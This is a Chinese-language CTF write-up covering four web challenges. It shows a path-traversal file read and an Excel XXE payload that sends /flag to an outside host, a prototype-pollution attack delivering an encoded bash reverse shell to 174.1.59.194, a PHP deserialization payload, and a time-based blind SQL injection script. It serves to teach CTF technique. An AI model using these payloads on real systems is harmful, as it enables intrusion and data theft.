学校战队总排名五十几,web和pwn各拿了一个一血,只能说师傅太强了,不过后来的排名有点起飞,最后半小时,直接从前十名飞出去了~~
filejava
这道题主要考察的是java
的xxe
漏洞,这个题目总共有两个功能,上传和下载功能,有上传和下载,我们就想到两个漏洞点,是否有任意文件上传或者任意文件下载?
经过测试确实有任意文件下载,但是任意文件上传确不存在,但是却能够为我们提供路径~~
任意文件下载
但是我们不知道web的路径怎么办?我们还有文件上传的报错~~
文件上传
我们可以看到报错处直接给了web的路径,我们就可以直接读源码了
先读web.xml
然后直接读源码
- cn.abc.servlet.ListFileServlet
- cn.abc.servlet.DownloadServlet
- cn.abc.servlet.UploadServlet
而class文件一般都在classes文件夹下,所以我们要读取UploadServlet,其路径为:
../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
我这儿只是给出如何读源码以及思路,剩下的就不演示了,剩下就是一些class
文件反编译之类的
通过读源码我们知道,就是xxe
漏洞,而且是Excel的xxe
,Excel就是一个压缩文件,里面有一个xml文件,这儿不做过多阐述
[Content_Types].xml文件改成如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.1.59.194/e.xml">
%int;
%all;
%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
然后在自己服务器下添加e.xml
内容如下:
<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://174.1.59.194:555/?%payl;'>">
然后在自己的服务器上监听555端口,上传Excel就能获得flag了
notes
这是一道nodejs
的题目,怎么说呢,这道题目一般般吧,不过还是被小坑了一下
直接下载源码
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
const port = 666;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
很明显了,有一个执行系统命名的地方,但是数组是被写死的,我们很自然想到的就是原型链污染,这样才能可能执行我们想要的命令
而恰好,undefsafe在版本2.0.3之前都是存在原型链污染的·~~
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);
所以过程就很明显了
直接到/edit_note
路由,这三个参数我们都可控
传的参数为:
id=__proto__&author=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%34%2e%31%2e%35%39%2e%31%39%34%2f%35%35%35%20%30%3e%26%31&raw=1
直接反弹shell,获得flag
AreUSerialz
这道题我们队拿了个一血,其实做题的师傅都不知道怎么回事~~~(偷笑)
这道源码很简单,主要是弱类型绕过+简单的反序列化
主要就是绕过protected
中的特殊字符
有的师傅说%00
可以用空格绕过,或者直接用public
代替,是因为php7.1+
反序列化对这些不敏感,反正我也不太清楚
接下来说一下我们队的师傅是怎么做的吧
他是直接用public代替proteced,然乎修改一下类的属性个数(即绕过__wakeup
的那种方法)就直接读flag.php
了
我们当时还以为这也是绕过proteted的一种方式了,hhh
后来在buu上覆现,直接用这个payload就行了
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
可能当时比赛和buu上的环境不一样吧~~~
后来听别人说预期解是读cmdline
?
我也不知道~~
- php7.2+对
private
和public
不敏感 - 小写s改为大写S,后面的值就可以接16进制,从而绕过过滤
trace
这道题目比较可惜,flag爬到一半,比赛就停了
由于一次容器只能插入20次数据,所以我们不能用常规的方法,否则根本跑不出来
这儿我们主要用到的是exp
溢出来报错
而且不能直接跑出表名,列名,这些都是猜的~~
直接贴出exp:
# encoding=utf-8
import requests
import time
url="http://b5973f1b497b40ff9e8875428cbf9558f1ed1af239e9491f.cloudgame1.ichunqiu.com/register_do.php"
proxies = {
"http": "http://127.0.0.1:8080",
}
flag="flag{"
#erfenfa
for i in range(6,50):
high = 127
low = 44
mid = (low + high) // 2
while high > low:
#payload=r"id=\\0&path=or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
payload=r"ddd',exp(if(ascii(mid((select a.2 from (select 1,2 union select * from flag)a limit 1,1),{},1))>{},sleep(4),0)+10000))-- -"
#payload=r"11',if(ascii(mid(user(),{},1))>{},sleep(3),1))-- -"
#payload=r"id=\\0&path=or 1=(ascii(mid((select password from users limit 1 offset 0),{},1))>{})--+"
#url_1=url+payload.format(i,mid)
data={"username":payload.format(i,mid),"password":"ddd"}
print(payload.format(i,mid))
s_time=time.time()
r=requests.post(url,data=data,proxies=proxies)
print(r.content)
e_time=time.time()
if e_time-s_time>3:
low=mid+1
else:
high=mid
mid=(low+high)//2
time.sleep(1)
flag+=chr(mid)
print(flag)
'''
if(ascii(mid(user(),1,1))>43,sleep(5),1)
sys.schema_auto_increment_columns
if((ascii(mid((select/**/group_concat(table_NAME)/**/from/**/mysql.innodb_table_stats/**/where/**/table_schema=database()),1,1))>1),sleep(5),1)'''
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),1,1))>1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>1,sleep(5),1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),{},1))>{},sleep(5),1)
#select a.2 from (select 1,2 union select * from Flag)a limit 1,1
#if(ascii(mid((select select a.2 from (select 1,2 union select * from Flag)a limit 1,1),{},1))>{},sleep(3),1)
#flag{dbfb184e62-ed9834-437a3-ak2d1a80-7}
#14 2
#flag{8be2fcc4-a40a-48f6-8554-9f2789f3df1c}
#21 4